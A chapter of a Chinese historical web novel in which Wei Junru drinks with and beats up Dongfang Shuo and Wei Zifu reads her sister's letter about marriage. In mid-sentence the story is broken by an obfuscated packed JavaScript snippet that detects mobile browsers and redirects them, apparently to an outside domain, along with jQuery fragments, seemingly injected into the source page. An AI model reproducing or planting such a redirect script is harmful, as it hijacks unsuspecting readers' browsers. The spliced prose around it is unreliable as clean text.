东方朔点头,“当然。所以到了公孙家,不必委屈自己,你有底气,有身份,不必担心连累到卫夫人,你越是强硬,在平曲侯府早日站稳脚跟,越能帮助卫夫人。” “……不必委屈自己。当真?”卫君孺眼角微微上翘,温婉的眉眼多了几分魅色,再加上经由酒水熏红的脸颊,比上了脂粉还要俏三分。 “……”东方朔表情一僵,大手握紧了手中冰凉的酒壶,下意识往嘴里灌酒。 “……你啊!”卫君孺冷嗤一声,端起酒碗小口饮了半碗,“啪”的一声,酒碗滑到了东方朔面前,淡淡道:“倒酒!” 东方朔看了看还剩小半碗的酒,冲她晃了晃自己已经喝光的酒壶,“没了!” 卫君孺一听,探身就要将她剩下的小半碗酒拿过来,被东方朔一个转身给顺走了。 “东方朔!”卫君孺单手撑桌,用力狠拍了一下桌子,摇了摇有些晕的头,声音有些含糊,“你别过分,我妹妹现在可是卫夫人。” “是是是!你家有卫夫人,我惹不起。”东方朔嘴上这样说,下一秒当着她的面将剩余的酒水一饮而尽。 “!”卫君孺面色一冷,撩起袖子就冲上去。 她想揍东方朔这人很久了,今日正是好时机。 “欸!你……哎哟!”东方朔被对方一个手肘击倒在榻,没等他起身,对方已经压着他,双手直冲他的脸,一瞬间就将他的胡须薅了一撮。 …… 守在外屋烤火的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13694999|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠仆听着里面的动静,轻啧一声,佯装无事地看着外面的雪。 先生说了,非礼勿听,非礼勿视。 不知过了多久,里面的动静终于停了下来,忠仆松了一口气,默默搓了搓手,跺了跺有些发麻的脚。 片刻后,内间的门打开,卫君孺淡定地从里面出来,向忠仆点了点头,嘱咐他好好照顾东方朔,然后顶着雪花离开了。 忠仆看着她矫健的背影,迷惑地挠了挠头,关上门向东方朔复命。 才进里屋,就看到东方朔仰躺在榻上,衣衫狼狈,脸上带着十多道红痕和指印,看着就好像被那什么摧残了一般,顿时倒吸一口凉气,“先生,你这是怎么了?这是卫娘子动的手?” 他看卫娘子温温柔柔的,不像会和人急眼、动手的人啊! 可是看他家先生这副凄惨的模样,总不能是先生喝醉了酒,自己打的自己吧。 思来想去,他小心翼翼道:“先生,你到底怎么惹到卫娘子的?” 以他对先生的了解,多半是先生那张嘴惹了麻烦,说了让卫娘子愤懑的话。 “嗯?”东方朔瞪大眼睛,“你到底是哪家的人?” “我当然是先生的人,可是……”忠仆讪笑两声。 自家先生的德行他也是知道的。 东方朔看清楚了他面上的意思,更加无语了,生无可恋地瘫在榻上。 自己伤了脚,卫君孺还趁人之危,非君子行径啊! 在榻上烦躁时,忽而手边碰到卫君孺留下的竹篮,东方朔动作一顿,脑海中想起了卫君孺离开的话,“东方朔,我想嫁一个学问好,没有红颜知己的男人,若是找不到,只能委屈自己,退而求其次嫁给公孙贺了,你觉得我能找到吗?” 东方朔抬头望着屋顶抓狂。 他前脚才斩钉截铁的拒绝,甚至对长公主这样的小娃娃谄笑讨好,后脚就要他去求陛下,他还有面子吗? 陛下不会笑话他一辈子吧。 …… 卫君孺下定决心后,派人给卫子夫送了信,担心卫子夫那边事情已成,若是无法改变,她也认了。 卫子夫看完信后,长叹一口气。 那边看护妹妹的刘瑶听到动静,跑到她面前,“阿母,怎么了?” 卫子夫摸了摸她的脸颊,“无事。现在时间不早了,你快去睡觉。” 刘瑶顿时噘起嘴。 卫子夫将她搂在怀里,又哄了两句。 她担心将这事告诉阿瑶,她人小嘴巴把不住门,说了出去,还是她先探一下陛下的口风。 刘瑶眼睛乌溜溜转,目光偷偷瞄着卫子夫放在桌上的帛书,可惜灯线太暗,没办法瞅清楚。 卫子夫察觉她的动作,将她塞到被子里,眼含警告,示意她闭眼好好睡觉。 “嘿嘿!阿母!”刘瑶冲她讨好笑了笑,佯装乖巧地闭上眼。 卫子夫见状,嘱咐守床的乳母看护好,然后转身去照顾另一个孩子。